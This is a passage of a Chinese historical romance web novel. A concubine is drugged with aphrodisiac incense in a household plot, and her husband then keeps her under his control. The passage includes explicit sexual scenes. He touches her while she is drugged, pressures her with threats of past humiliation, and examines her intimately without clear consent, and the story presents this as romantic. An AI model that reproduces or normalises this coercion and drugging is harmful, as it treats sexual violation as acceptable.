泡了半个时辰药汤,仅仅只是散了一点热度,若是靠男女交合解热,怕不是要将精元都耗干了。 谢漼恐伤她身,便不能帮她。 必须由她自个熬过去。 谢漼取了绸被,将她裹好,抱到卧房。 谢漼床上的床褥与被子,是用蜀锦新制的。他一回来,下人便得了消息,换上刚晾晒过的被子。 寻真不着寸缕,一躺进去,那丝滑的布料就像水一样流过肌肤。 这丝滑的触感带起若有若无的痒意,与身体里的躁动叠加,使寻真更难受了。 于是,寻真便挣扎着想起身。 闭着眼,口中含含糊糊的,不知在说什么。 谢漼无法体会她的感受,却是不能让她这么乱动的。 手压在被子边缘,寻真挣扎了一会儿,逃不出去,脱了力,便不再动了。 案边已放好了药。 谢漼带着被子将她抱起,让她靠在自己身上,轻声哄着:“真儿,张口,将药喝了,便不难受了。” 谢漼心想,她若不喝,便只能以口哺之。 不过她似是听见了,张开嘴,慢慢地、小口小口地将一整碗药喝下。 喝完药,她总算稍稍镇定下来。 谢漼拿来帕子,将她嘴擦干,再拭去额角的汗。 正要将寻真放下时,她突然扑上来,环住了他的腰。 谢漼僵住了。 她主动坐到了他怀里。 手在他后背摩挲着,脸埋入他胸前,用力嗅了嗅。 然后抬起身,往上,不断嗅闻着。 从胸口慢慢往上挪,脖子、下巴、嘴唇……寻真鼻尖轻轻动着,喷出来的热息扑到了谢漼脸上。 谢漼双手张开,悬在空中,一动不动。 直到面对面。 两人的脸几乎都要贴在一块儿。 寻真扶着谢漼的肩,鼻尖擦过他的:“……你身上好香。” “……喷了什么香水?” 谢漼看着她的眼睛。 原本清润的眸中,覆了一层雾蒙蒙的水汽。 脸蛋红扑扑的。 她还没清醒。 谢漼清醒了,回过神,将她手摘下,把她放入床中。 呼吸急促。 谢漼暗自调息,好一会才缓下来。 再看床上的她,已闭上了眼。 不料,才安定了一会儿。她又开始扑腾起来,脸蛋红红,胸脯上下快速起伏着。 谢漼看着她这样,心像被挤压了似的,也跟着难受起来。 “真儿,熬过今晚,便好了。” 谢漼想起方才,掐她脸,似是可以缓解。 便伸手过去,揉搓起来。 她果然觉得舒服,脸不自觉地向他的手掌贴近了。 谢漼看到她的反应。 这是饮鸩止渴,这么做,只会将她的身体唤醒。 谢漼还是狠下心,抽开手。 离开她脸的那一刹,她的手突然从被子里伸出来,抓住了他的手掌,然后—— 将他的手放进了被子里。 谢漼又僵住了,仿佛身体都不再是自己的。 她似是将他的手当做止痒的工具,哪边难受,便往哪边挪去。 谢漼脑子轰的一热,空白一片,一时都忘了阻止。 任由她将手…… 谢漼终是没控制住自己,挪到那处时,身体竟违背意志,用力抓握了一下。 寻真发出一声长叹。 似是舒服极了。 谢漼懵了许久。 掌心喷溅上湿润,谢漼才醒过来,将手拿出。 呆呆坐在床上,看着自己的手。 手指上缠绕着液体,莹白色的。 怎……还有? 谢漼看了许久,最后,不由自主地将指尖放到唇上。 尝了尝。 谢漼不给她穿衣,是因她现在身子敏感,衣物摩擦会让燥热加剧。 谢漼要出去,怕她再乱动,丫鬟管不住她,索性用被子将她裹起来,用丝带束住,包的跟蚕蛹似的。 然后唤引儿进来。 引儿见床上这情状,愣了下。 寻真与月兰方才一进屋,吸入的是迷香。月兰晕去后,便被人拖去了另一屋子绑着,承安已经找到。月兰正在配合调查。 吕令萱那边得知谢漼今日归来,那处负责望风的下人也亲眼瞧见,他抱走柳氏。这下,主仆几人坐不住,回院子,商量对策。 “怎办?若是夫君知道是我做的,可就完了!” “嬷嬷,你快想想办法!” 宋嬷嬷眉头紧皱:“要不,奴婢派人去请老夫人?” 吕令萱:“不行!今日是炎哥儿生辰,老夫人正高兴,若我搅了兴致,老夫人怕是从此便厌我了!” 两年前,吕令萱趁谢漼离开,便使了人,去母留子。却叫柳氏侥幸逃过。 事后,谢漼令人将那生生被打死的二婆子尸首,丢在她院中。 那血腥之气,萦绕三日不散。 吕令萱却没觉得自己错了。 她是庶女,从小在主母手下讨生活,这些内宅手段都是她从主母那儿学来的。 若是她父亲,妾死了,便是稍有些情分的,也只是吩咐一句“厚葬”。 出嫁时,主母曾对她说,即便谢漼如今对那贱籍宠爱有加,可男人都喜新厌旧,取了妻,再纳上几个美色。那旧人很快便会抛到脑后了。 可到如今,夫君院中,还是只有那柳氏。 难道她余生都要独守空闺,眼睁睁看着柳氏一个接一个生下夫君的孩子吗? 因此,她明知此事风险极大,还是让人动手了。 现在事情败露,她才害怕起来。 上次害柳氏,夫君也只是处置了那两个婆子,她被罚俸、禁足。 但这次不同,她算计了谢漼的父亲。 往重了说,这关乎谢府的名声,甚至可能会影响夫君的前程。 她竟一时糊涂,做了这等蠢事! 吕令萱起身,抓住宋嬷嬷的手:“嬷嬷!走,去找老夫人!必须赶紧去!” 刚走到门口,凝冬跑进来,满脸慌张:“夫人!不好了!承安将门口堵住了,说是爷的命令,不让里头任何一人出去!” 完了。 吕令萱猛地跌坐下去。 书房。 谢彦成刚下了值,下人便说谢漼今日自陇州归来,正在书房等他。谢二爷本以为是谈陇州政事,进来后,见侄儿神色严肃,有些怪异,却也没往别处想。 不料,他一进来,侄儿便道:“二伯,我欲休妻。” 谢二爷一怔,侄儿这般说,定是出了大事。 细看,侄儿脸色冷凝,竟不似往日那般从容,发生了何事,让他如此失态。 便问:“那吕氏做了什么?” 谢漼:“她算计父亲与柳氏,令二人共处一室,并在房内点了催情香,若不是我及时赶到……” 谢漼讲不下去,脸色越来越沉。 什么? 谢二爷一拍桌:“荒唐!” “无知妇人!” 若传扬出去,父子共享一女,这等丑闻,岂止是谢府名声扫地,侄儿的仕途也要被毁了! 吕氏,竟这般愚蠢! 谢二爷:“可有人看见?” 谢漼:“我已将知情之人都处置了。” 谢二爷点头,问道:“你欲以何由出妻?” 谢漼:“三年无子。” 躬身行礼,“求二伯帮我。” 谢二爷心道,自然不能以“妒”为由。 只要旁人知晓柳氏曾与四弟共处一室,还点了催情香,柳氏一旦沾了这污名,便留她不得。 可“无子”这一理由,立不住脚。 饶是谢二爷也清楚,侄儿极少踏足吕氏院中,又去陇州两年,如何能有子嗣? 老夫人定然不会同意。 谢二爷叹气:“缮之,我知你心中有气,只此事不宜声张。休妻,暂且缓缓,你且先将那吕氏禁足,日后若能安分, 便罢了。” “若她还敢生事,我便帮你处置了她。” “眼下你正是步步登高之时,若出妻之由立不住,别人皆以为你是宠妾而弃妻,定惹非议,于你前程大为不利。” 见侄儿脸色依旧冰冷。休妻哪是那么简单的,更何况吕氏是老夫人那边的人,若是将今日的事捅出去,倒是能成,可这样便保不住柳氏。真是两难。 想了想,还是劝道:“你才二十一,便是休了这个,再娶一个,还不是一样?那柳氏身份低微,换哪个都一样。” “倒不如留着吕氏,经此一遭,想必也该收敛些了。” 谢二爷见谢漼不吭声,拍了拍他的肩,转了话题:“今日回来,可去见过恒哥儿了?” “恒哥儿可是相当聪明呢,到底是你的孩儿。” 谢漼跟着谢二爷往外走。 在走廊上碰见了谢璋。 谢璋怀里抱着个彩球,大眼睛一眨不眨,仰着小脑袋,看着谢漼。 谢二爷笑眯眯的,走过去,把谢璋抱了起来。 “恒哥儿还未见过爹爹吧?” 抱到谢漼面前,介绍。 “恒哥儿,这是你爹。” 第56章 第56章“热毒?” 谢漼看着,眉眼柔和起来。 摸了摸谢璋的脸。 “来,你抱。”谢彦成把谢璋交给谢漼。 谢璋的目光追随着谢漼,眼珠子上上下下转动,仔细打量。 谢漼伸手。 谢璋身体里涌起一股奇怪的感觉,被一种无形的力量牵引着,倾身向他靠近。 下一秒,被抱住了。 谢璋仰头,依旧打量着。 谢漼单手抱着谢璋,另一只手在他后脑护着。 谢璋小小地、轻轻地唤了一声:“爹。” 谢漼应了一声,眉目温和,“恒哥儿。” 谢璋的大眼睛迅速地聚集了水汽,水灵灵的。 谢漼拍谢璋的背,谢璋依赖地靠在他怀里。 正堂中,谢漼坐着,抱着孩子,跟谢彦成谈陇州政事。谢璋坐在谢漼大腿上,扯起了彩球上的丝带,玩得认真。 谢二爷手指虚空点了点谢璋:“这小子,平日里我抱他一会儿,就坐不住,急着要去玩。到你手上,竟这么乖了。” 谢漼低头看了眼,摸了摸谢璋的脑袋。 谢漼:“二伯,我还有事,便先走了。” 听到这话,小脑袋嗖的一下仰起来了。 谢二爷指指:“看到没,这小子不想你走呢。” 谢漼看着谢璋:“恒哥儿,我明日再来看你。好不好?” 谢璋小手扯着谢漼的衣服,嘴唇抿抿,肉肉的脸蛋鼓起来。 谢漼看着,弯唇笑了,捏了捏谢璋的脸蛋,“恒哥儿,乖,听爹的话。” 谢璋便松手了。 “什么!禁足三年?”宋嬷嬷惊道。 凝冬:“院门已经上了锁,承安说了,若没爷的令,这两年,都不准夫人踏出院子半步!” 听了这话,吕令萱反倒笑了。 笑声在安静的室内响起,莫名添了几分诡异。 凝冬:“夫人……” 吕令萱:“即便如此,夫君也要护着她。” “嬷嬷,你可知,我方才以为,夫君会借此机会,将我休了。” 宋嬷嬷:“……怎会!夫人莫要胡思乱想!” 这些话在心中憋了三年,今日,吕令萱终于忍不住了。 “怎不会?” “夫君厌我已久,成婚至今,都未曾碰过我。” 听闻此言,凝冬与宋嬷嬷二人惊愕地对视了一眼,脸上满是不可置信。 “夫君从未瞧上过我,视我如敝履。此次我犯了错,夫君本可借此机会将我休弃,便是老夫人也无法阻拦。” “可他却为了柳氏,仍留下我。” “夫君的心在柳氏那,我又如何能斗得过她?” 宋嬷嬷:“便是新婚之夜,都未……” 吕令萱摇了摇头。 宋嬷嬷:“爷真是被那狐媚子迷了心智……夫人竟受这般委屈,为何不告诉老夫人?” 凝冬:“是啊,夫人,老夫人若知道,定会为您做主的。” 吕令萱陷入回忆中,神情有些恍惚。 因为,她已非完璧。 吕令萱的两个陪嫁丫鬟都知晓此事。新婚夜,恰好是吕令萱月事的最后一天。她想着夫君喝了酒,再将烛吹熄了,看不清,又酒气上头,或许能蒙混过去。 但没料到,夫君是何等眼利之人。 那二丫鬟不过端酒之时,神态有些不自然,被夫君叫住,抬头问话,仅仅问了几句,便吓得瑟瑟发抖,跪下了。 吕令萱也跪下,流着泪求饶。 婚前失贞,新婚夜被丈夫当场发现,若是此事传扬出去,吕令萱下半辈子可就彻底完了。 可夫君只对她说:“吕氏,你若安分,便可留下。” “你既已是我谢漼正妻,日后便不可与外男有任何牵扯。若还有下次,我便休书一封,送你归宗。” 吕令萱正满心惊恐,浑身颤抖,害怕失贞之事曝光,自己可能连性命都不保。 可没想,听到这一番话。 泪眼朦胧中抬起头,看到谢漼立在她面前,一身新郎红袍,容貌俊美,夺目至极。 这是她的夫君,如此风华。 即便得知她婚前失贞,也并未对她加以斥责辱骂,还愿意给她正妻的体面,只要求她日后安分守己。 这样的郎君,又怎能不让她倾心? 后来,她将那两个陪嫁丫鬟打发了,这院中,便再无人知道她失贞一事。 在谢府过得太安逸,她也几乎快要忘记了。 看着那柳氏如此得夫君的宠爱。 吕令萱不甘。 纵使她婚前失贞,可那柳氏却是从烟花之地出来的。 吕令萱笑了笑,眼神中已隐隐有些魔怔。 “不过两年而已。” “我与五郎要做一辈子夫妻。” “那柳氏再如何受宠,也不过是个妾。” “只有我,才能堂堂正正站在夫君身边。” “我,是他的发妻,任何人都无法改变。” 寻真醒来的时候,一时不知道自己身处何地,眼前黑漆漆,然后发现自己手脚都动不了。 发生什么事?她被谁绑了? 寻真努力回忆,对了,今天她去参加谢进的生辰宴,吃完饭看节目,之后……被泼了茶,被丫鬟带到一个房间,就晕了过去。 寻真挣扎时,发现肌肤的触感不对。 她没穿衣服! 光着被人用布裹住,绑起来的。 完了,这是什么限制级的场面啊! 寻真挪动屁股,小心翼翼地往边上挪。挪了一会,屁股一空。 是类似塌或者床的地方。 寻真继续往边上挪,脚刚要伸出去。 腰间落下一只手,往后一拖。 寻真便落入一人的怀抱中。 寻真扭动身子,闻到一股熟悉的香味,动作顿时慢了下来。 身后人侧抱着她,一手放在她腰间,另一只手探过来,摸了摸她额头。 寻真被身后人的气息包裹了。 不敢动。 几乎可以确定了。 身后的人是谢漼。 寻真的记忆也回笼了。 有人暗算她,把她跟谢漼他爹关到了同一间屋子,还点了股怪香,让她神志不清。她逃出去,正好撞上了回来的谢漼,然后……发生了什么,寻真就不记得了。 谢漼抱着她,那只手还放在她的脑门上,时不时摸一下。 寻真屏住了呼吸。 过了一会儿,听到身后传来声音:“……真儿?” 谢漼的声音好像变了,跟两年前不一样。 醇厚了许多,没那么 清亮了。 寻真在想要不要回应他。 谢漼却直接唤人取灯。 拔步床内,瞬间亮堂起来。 四目相对。 寻真躺着,谢漼坐着。 寻真看着谢漼。 除了声音,长相也有了一些细微的不同。脸……好像黑了点? 两年前在这儿,谢漼全身上下都精致,是被精心“呵护”着的贵族世家公子,皮肤又白又滑,身上也总是香香的。 去了一趟陇州,好像被那儿的风刮得皮肤粗糙了些。 看来在那边,生活品质下降了。 虽然还是帅的,但那种精致的非人感少了很多。 落地了。 果然都是钱包装出来的。 见她打量着自己,那眼珠子看着十分灵活,谢漼便问:“真儿可还觉得哪里不适?” 寻真摇摇头。 心想,身上这被子什么情况,谢漼该不会趁她昏迷,玩了什么限制级Play吧? 谢漼:“真儿你中了热毒,我将你绑起来是怕你乱动受凉。现在虽热度已退,却不知等会儿是否还会反复,还需观察,等明日醒来,好全了,我再将你放开。” 热毒。 春药? 寻真哦了一声。 谢漼摸着她的脸,拇指指腹在她颊边轻轻擦着:“安心歇息吧。” 他声音怎么哑了。 寻真点点头,闭上眼。 第二天,寻真醒来的时候,谢漼已经不在了。寻真从月兰口中得知,陷害她的人是谢漼他大老婆。 寻真猜到了,她在这里整天都不出门,能惹到谁? 只是没想到,谢漼他大老婆竟然这么恨她。 难得出去一回,就被暗算。 寻真问:“爷查出真相后,可有处罚夫人?” 月兰觑了眼寻真,心道,夫人手段如此毒辣,居然能想出将姨娘和四爷关到一个屋这等毒计。若不是爷回来得巧,姨娘可就惨了, 如此恶行,却仅仅只将夫人禁足三年。 要月兰说,这等毒妇,哪里配得上爷,就该直接休了。若能换个豁达大度、容得下妾室的主母,就好了。 月兰犹豫了一下,还是如实说:“将夫人禁足三年。” 寻真思索着。 这么说,这两年内是暂时安全了? 谢漼中午就回来了。 寻真正靠在床上看书,听到脚步声,抬头。 谢漼穿着官服,一袭青袍,腰间配银带,身上散发着一种刚面过圣的肃穆之气。 谢漼到床边坐下,自然地执起她手,把脉。 “已无大碍了。” 然后注视着她。 寻真被他盯得不自在,拿着书,一个字都看不进。 这时月兰端着药进来了。 这是治失忆的药。 已经是老中医迭代好几版后的方子,这味道冲到面前,寻真没忍住,当着谢漼的面,干呕了好几下。 寻真苦着脸。 看来这次逃不过了。 谢漼显然也闻到了这股刺鼻的味道:“这是何药?” 月兰:“是治失忆的。” 谢漼:“将药方拿来。” 月兰:“是。” 谢漼看了看药方,问寻真:“如今已吃了两年半,仍是想不起来一些么?” 寻真:“嗯。” 药就放在边上,那股刺鼻味不断飘过来,再闻下去,寻真要吐了。 还不如早点喝掉。 寻真拿起那碗药,深吸一口气,拿到嘴边,一鼓作气。 闻着这味儿,寻真整张脸都皱了起来。 正要往嘴里送时,谢漼突然按住了她的手腕。 “罢了,以后都不必喝了。” 听谢漼这么说,寻真眼睛瞬间亮了。 失忆这趴终于可以过去了? “真的?” 谢漼点头,从她手中拿过药碗。月兰接过,端出去了。 “实在想不起来,便算了。” “是药三分毒,喝多了,亦对身子有害。” 谢漼凝视着她,许久,伸出手,摸了摸她的脑袋。 声音很低,似叹息:“如今这样,也很好。” 第57章 第57章“可有碰你” 午后,寻真在谢漼院子里活动的时候。 有个挺眼熟的人进来了。 寻真伸展身体,手抬起,动作一停。跟那人对视。 谢佑看到她,脸上闪过一丝尴尬。 想起昨日情形,道:“昨日,你……” “真儿——!” 谢漼的声音骤然响起,寻真吓了一跳,转过头,谢漼已从书房出来,朝这边走来。 远远看着,脸色不是很好的样子。 近了,他道:“还不进去。” 寻真看了眼谢漼就进去了。 那么凶。 谢漼本在书房内处理公务,时而抬起头,看一眼庭院中的她。 不过片刻的疏忽,再度抬头。 竟看到她与谢佑相对而立。 刹那间,昨日谢佑追逐寻真的场景在他脑海中浮现,一股无名火在胸口翻腾,压不住,便喝了一声。 谢佑本想关心一下,却被谢漼打断。 因昨日他也吸入了些桃蕊幻梦香,那香太猛,折腾了一夜身子才舒坦了。中午醒来,腰都断了。 二哥也知晓了这事,去了他那处,很是训了他一顿。 他当然心虚,在谢府中一直能有这么好的待遇,做个富贵闲人,一半是托了二哥的福,另一半便是靠他这文曲星儿子了。 因此,当他得知真相,自己差点碰了儿子最宠爱的姬妾时,心中懊悔,儿子就喜欢这么一个,差点被他搞砸。 不过,儿子那正室竟如此歹毒,果然姓吕的没一个好东西。 今日来,他一是为了向儿子赔罪,二是带了些滋补的好物。 毕竟昨日那香这么猛,那女子比自己吸得要多,怕是将儿子榨干了。 得好好补补。 见寻真进去了,谢漼看向谢佑。 问道:“父亲要来,怎不派人知会一声?” 哪家父亲见儿子还要提前通报了才能来的。 也就谢佑从没管过他,才在儿子面前直不起腰来。 谢佑讪讪:“下次便叫人通知。” 两人进了书房。 谢佑脚步虚浮,眼眶青黑,站久了腰有些累,便自个找地方坐下了。 看着儿子。 儿子精神气挺足啊,昨日应是鏖战了一夜,竟还这般精力充沛,到底年轻。想当年,他年轻时也是这样,一夜七次都不在话下,如今,不得不服老了…… 谢佑羡慕的目光便投了过去。 谢漼瞥了一眼:“父亲今日来,所为何事?” 谢佑知道自己这儿子生性高洁,这等子床笫之事,不能直言,须得委婉些。 谢佑:“昨日,是为父疏忽了。那仆人,有几分眼生,我一时竟也没起疑。” “今日,特来向你赔罪。” “起初,你那妾室不愿从了我,我误以为……” “父亲。” 谢漼打断,“昨日之事,已过去了。父亲,往后便忘了罢。” “还望父亲日后遇事多思,莫要再被人利用才是。” 谢佑笑笑:“自然,自然。” 没别的话好说,谢佑站起来,“我带了些东西来,是我吃惯了的方子,很是滋补的。” “每日饭后服用一剂,可修补元气。” “缮之你如今年轻,行事或觉无妨,可若不加以克制,损耗了精元,眼下虽看不出来,等上了年纪,毛病就都出来了……还是要注意些。” 谢漼面无表情:“多谢父亲。” 谢佑:“那我走了。” 谢漼把谢佑送出院子。 转身进了卧房。 寻真在榻上发呆。 谢漼跟他爹。 除了长相像,别的方面,真是一点都不沾边。 又想起念芙,也不知她现在怎么样了…… “看见我父亲来,怎不知道避?” 谢漼的声音打断了寻真的思路。 寻真望去。 谢漼冷着脸,身上冒着寒气。 有点吓人。 谢漼走到她面前,缓了语气:“真儿,你昨日……” 他一顿,“你昨日与我父亲共处一室,是被人算计,非你所愿,我不怪你,那 事便过去了,就此作结。” “日后若再见到他,无需行礼,直接避开便是。我已跟父亲说过,不会怪罪你无礼。” “可记住了?” 寻真点头。 谢漼目光深沉,紧盯着她:“昨日,他可有对你……” 后半句话,他没说出口。 什么意思? 寻真:“没有,我看到他,就直接跑出来了,然后就撞到你。” 谢漼看了她一会,又问:“他……可是打了你?” 寻真摇头。 谢漼摸着她的脸,“昨日,我瞧着脸上有印子,是谁做的?” 寻真想了想,解释道:“是我自己,当时神志不清,拍了几下脸,眼前就会清楚一些,不然都看不清路。” 谢漼轻抚着她的脸,眸中神色晦暗不明,不知在想什么。 沉默许久。 谢漼本不想问,可终究忍不住。 “他可有碰你哪里?” 然后,盯着寻真,不放过她脸上任何一丝表情。 摸了脚,搂了腰? 寻真心中一阵恶心,虽然当场报复回去了。 回想起来,还是后怕。 但这个,是肯定不能跟谢漼说的。 寻真又摇头:“没有。” 谢漼手指摁在她脸上,一紧。 “没有,便好。” 声音紧绷。 寻真被摁得痛了,低呼一声。 谢漼松开,看到她脸上留下了淡红色指印,眼神便深了。 “近些日子,暂时不要出院子。”他道。 寻真:“好。” 寻真想回自己的院子了,瞅了瞅谢漼的脸色,按下了这一想法,等他心情好点再提吧。 “真儿。” 谢漼上了塌,朝寻真伸出手。 寻真犹豫了一下,还是把手放到谢漼掌心。 他握住,将她搂入怀中,整个儿圈住。 寻真的身子不可避免地紧绷了,两年多没跟谢漼肢体接触,有些不适应。 但寻真现在已经不敢拒绝了。 谢漼在陇州做了两年官,肉眼可见,气势更足了。 谢漼感受到她的紧绷,大掌从肩头到腰间,一下又一下,安抚着。 许久,身子还是不见软。 谢漼便停下来,手指轻划着寻真的脸:“两年未见,真儿还是跟以前一样,一点都没变。” 寻真心道,你倒是变了很多。 寻真坐在谢漼大腿上,忽然感觉有什么硬硬的东西戳着自己,脑中“嗡”的一声,是他那个……寻真更不敢动了。 谢漼的呼吸忽而粗重了,他低头,热气吹着寻真的耳垂。 “真儿……” 声音也哑了。 寻真看了看外面,天还这么亮呢。 谢漼应该不会直接在这榻上就…… 寻真一紧张,心跳也加快了。 谢漼的手从腰间往上探去。 寻真咬着牙,不断给自己洗脑,反正迟早得做那个,什么时间场地都无所谓了。 寻真正紧张着,等待接下来的遭遇,突然,一种既熟悉又陌生的感觉从胸前传来,懵了好一会,寻真低头,胸前衣服湿透了,不明液体正不断渗出来,往下淌。 谢漼的手也湿了。 谢漼一愣,想起昨日情形,那些旖旎的心思瞬间消散。 再过几月,恒哥儿都要三岁了,怎还有乳汁? 拿过寻真的手把脉。 神色渐渐变得严肃:“乳汁还未断么?可有请大夫来看过?” 寻真自己也纳闷呢,早就没了,怎么突然又来了。 虽然跟谢漼讨论这个有些尴尬。 但想想他懂医术,就如实说:“没有,已经一年多没来过了,今天……还是第一次这样。” 该不会真得了什么罕见病吧? 就算不是,这都不给个心理准备,没有任何预兆地就来了,也太影响日常生活了吧! 谢漼捏着她濡湿的衣襟,往外一拨:“我看看。” 寻真脸上热气一涌,忙伸手捂住胸口。 “要不、要不还是叫上次那个姜大夫来看看吧……” “她比较了解我的情况。” 谢漼凝视着她:“我为你夫。” “让我看看又有何妨?” 寻真突破不了心里那关,红着脸,嗫喏着:“……还是叫大夫来看吧……” 最后谢漼还是叫大夫来了。 大夫检查了后,说并无大碍,这种情况虽不常见,但也属正常。只因寻真身体十分健康,能为乳汁分泌提供充足的营养。 姜娘子:“夫人可有常觉胸闷淤堵?” 寻真点头:“月事前几日,或是走后,常觉得闷闷的,好像有东西堵着。” 寻真以为是生理期正常现象。 “因是乳汁得不到疏通,淤积了。堵得久了,积攒到一定程度,便会控制不住溢出了。” 原来是这样。 姜大夫又得知她未曾哺乳过,便建议道:“最好在感到胸胀的时候,便叫人吸出来,如此便不会一直堵在胸中,导致过满而溢出。” 吸出来?找谁吸? 姜娘子见她这般窘迫,笑道:“夫人莫要以之为羞,这都是再正常不过的事。”又凑近她耳边,小声提点,“夜深时,叫大人帮忙便是。想来,大人应是很乐意的。” 寻真红着脸,琢磨着能不能做一个吸奶器之类的工具。 姜娘子离开卧房,去了前厅,将寻真的情况如实告知谢漼。 谢漼点头,示意下人奉上诊金。 姜娘子接过厚厚一袋银钱,笑容满脸出去了。 虽已到了仲春,空气中仍带着丝丝寒意。 今日降了温。 在外行走,还需穿厚衣,进了屋,便瞬间暖和了。 谢漼享受的是府中最高规制。卧房内,四角的炉中,都烧着瑞炭。 瑞炭,是西凉国进贡的贡品。 炭色青黑,质地坚硬,燃烧时无焰而有光。屋内暖烘烘的,没有一丝寒意。寻真沐浴后,只穿了件轻薄的夏裙。 心想,果然谢漼这里的生活质量要高很多。 她的院子,虽然也有用不完的炭,却用不上这么珍贵的贡品,有钱也买不到。普通炭火三四个小时就烧尽了,得频繁更换。 但瑞炭不同,一条可烧十日。 床褥也被炭烘得暖乎乎的。躺上去,被松软暖和的被子包裹着,寻真很快就困了。 但不能睡。 谢漼回来了,她还得“伺候”他更衣。 听到脚步声,寻真立马从床上爬起来,下床。 谢漼张开手臂。 寻真太久没干这个,一时间手忙脚乱,不知道该从哪个步骤开始。 寻真抬起手,感觉谢漼的目光黏在了自己脸上。 解完扣子,脱去外袍,寻真叠好,转身放衣时,腰被搂住了。 第58章 第58章“升官” 谢漼将她抱起,放到床上。 外头点了灯。 床边只放下了一层纱帐,光线透进来,似被揉碎了般。 朦朦胧胧,昏昏昧昧。 谢漼搂着她,捋捋她颊边的发丝:“真儿,可还记得,两年前,为夫走时说的话?” 他说了那么多。 指哪句啊? 寻真眨眨眼睛。 谢漼手指抚过她眼皮上方:“为夫说过,若真儿在家中不淘气,不惹出任何事来。” “便好好奖励你一番。” “真儿想要什么?” 寻真脱口而出:“可我昨天不是惹了……” 谢漼握着她的腰,一紧,眼神沉了沉:“昨日怎能算你的错?” “若不是吕氏,你又怎会陷入那般险地!” 谢漼想起那场景,胸口便抑制不住,上下起伏。 “罢了,此事既已作结,以后都莫要提了。” 吕氏。 谢漼这语气。 他们两人之间,难道一点感情都没有的吗? 寻真有些疑惑,她一直以为,谢漼跟他大老婆就算没感情,也有几分夫妻情分。 不过也就一称呼,没准在别人面前,她在谢漼口中也变“柳氏”了。 谢漼:“在想什么?” 寻真摇摇头。 安静片刻,谢漼摸了摸她的头:“为夫回来了,日后定不会再让 真儿陷入这般险境中了。” 然后回到上一个话题:“真儿可有什么想要的。” 寻真心道,我想要的你给不了。 谢漼勾起她的下巴,桃花眼灼灼含光,暗示般对她说。 “真儿想要什么,我都可以给你。” “这是为夫承诺真儿的,定会做到。” “真儿好好想。” 口气好大。 搞得好像她说什么都会答应。 寻真:“能让我慢慢想么?” “等我想到了,再告诉爷?” 谢漼:“好。” “我赴陇州,共收到真儿五十四封书信。” “真儿每一回的字都有很大进步,想来是下了不少苦功。” “如今真儿的学问已十分了得,便是去考科举,说不定也能博个功名回来。” 真的? 得了状元的肯定,寻真有点开心。 她理转文,可学得相当不容易啊。 谢漼:“今日还早,不如我来考考真儿学问?” 什么? 寻真倒是不排斥学习,但是你能不能分场合啊? 见怀中人眼睛瞪圆了,谢漼轻声一笑。 实在可爱。 谢漼道:“言因信而立,信为言之本。” “然而人心易变,常使信诺难守。” “真儿以为,因如何抵御人心之变,行久致远?” 寻真无语:这种熟悉的感觉…… 谢漼看到寻真嘴角抽了抽。 笑出了声:“真儿,可知此话出自哪里?” 放两年前,寻真或许还不能一下子听出谢漼在阴阳她。 现在,她是真的“已非吴下阿蒙”。 毕竟这两年,她除了读书,做点手工,顺便种种菜和果树,也没别的可干了。 寻真:“出自《春秋谷梁传》。” “‘言之所以为言者,信也。言而不信,何以为言。’” 谢漼点头:“真儿聪慧。” 又道,“真儿不愿同我去陇州,可有悔?” 现在说什么悔不悔,还有什么意义? 两年“牢”都坐了。 寻真没答。 谢漼却道:“我却悔了。” “陇州之地,风霜苦寒,甚是难捱。” “每至深夜,万籁俱寂,我便时常想起真儿。” 寻真望去,见谢漼目光灼灼,盈盈然,波光潋滟。 床帐中,气氛忽然暧昧了。 两人呼吸交缠,愈发急促。 寻真感觉腿间被一物抵住。 谢漼低头。 寻真看着那唇越凑越近,慌乱之下,抬手,手掌抵住谢漼的胸膛。 静了片刻,谢漼的声音在头顶响起。 “为夫在外辛苦两年,真儿身为我妇,不知关怀体恤也就罢了。” “为夫想亲近亲近,竟一再被拒。” “实在叫为夫寒心。” “莫非,两年过去,真儿还是不认我为你夫?” “难道非得要为夫像两年前,那般教真儿不成?” 寻真都快忘了,谢漼一提起,那些羞耻的画面一瞬间涌现了。 那“教训”,寻真心有余悸。那种身体完全无法自控,羞耻心被碾碎,毫无保留地袒露给另一个人的感觉,寻真实在觉得难堪,不想再经历一回。 可是,谢漼只用手都那样了,要真枪实干地来,岂不得……寻真难以想象。 寻真将手放下了。 嗫喏着:“……能不能把灯关了?” 谢漼凝视她一会,“好。” 谢漼唤了人将外面的灯熄灭,又拉下帘子。 眼前被黑暗包裹,只有谢漼的体温慢慢落下来。他绵长的呼吸,萦绕在身侧。 寻真虽还紧张,但因为看不见,有了一丝安全感。 呼出一口气,来吧! 早死早超生! 黑暗中,寻真感觉气流逼近,谢漼俯下了身。 接着,左边脸颊落下一个轻柔的吻。 他的手放在她腰间,一阵窸窸窣窣的声音,腰间系带一松。 长指勾了进去,寻真身体绷直,“等等。”一把抓住了谢漼的手。 谢漼:“又怎了?” 寻真憋红了脸:“我的月事好像……” 气氛一凉。 暧昧的气氛瞬时无影无踪了。 僵持片刻,谢漼松开了她,唤人点灯。 下一刻,室内大亮。 拔步床内,谢漼凝视着她。 寻真感觉自己被谢漼的眼神凌迟了。 寻真跪坐在床头,低着头,小声道:“是真的……” “爷,我可以去净室么?” 谢漼没有出声。 寻真想,就当他默认,别把床单弄脏了。 寻真向床边爬去。 刚爬到床边,谢漼却突然伸出手,拦住她。 然后将她放倒,一手搂着她,一手撑在她身侧。 语气轻而柔:“真儿。” “让为夫检查一下,可好?” 寻真没办法阻止这一切的发生。 很快结束了。 谢漼伸出手,在光下,食指与中指间,沾了些血丝。 然后看向寻真:“真儿没有骗我。” 寻真懵了好久,走到净室。 才想起,原来之前那次,谢漼是知道她骗了他的。 所以这次他亲自动手验证了。 回到卧房,谢漼正坐在床边等她。 寻真上床,落了帐,屋内又恢复了黑暗。 黑暗中,谢漼又抱住了她。 脸贴着脸,身体相依,虽隔着一层亵衣,寻真还是被谢漼的体温烫得头脑发热,难以呼吸。 “真儿身子不便,那便用别处代劳吧。” 他话一落,寻真的手便被他捉了过去。 引领。 谢漼:“真儿粉面含羞时,娇艳动人,令为夫心动。” “可真儿太怕羞,为夫怜惜,今日便放过你这一回。” “下次,可就不能轻易饶过了。” “真儿已二十,不是孩子了,总要慢慢习惯。” 手触及一物。 干燥,温热,棱角凹凸,青筋绷直。 谢漼呼吸乱了。 寻真被他滚烫的气息烘得脑子成了一团浆糊。 寻真闻着他身上的味道,脑子里有杂乱的线条癫狂舞动,涂得乱糟糟一片。 思维扩散,好似进了另一个维度。 谢漼那个是什么颜色。 是他嘴唇的颜色吗,粉红色? 还是跟他右眼下方那颗泪痣一样,是更深的红色呢? 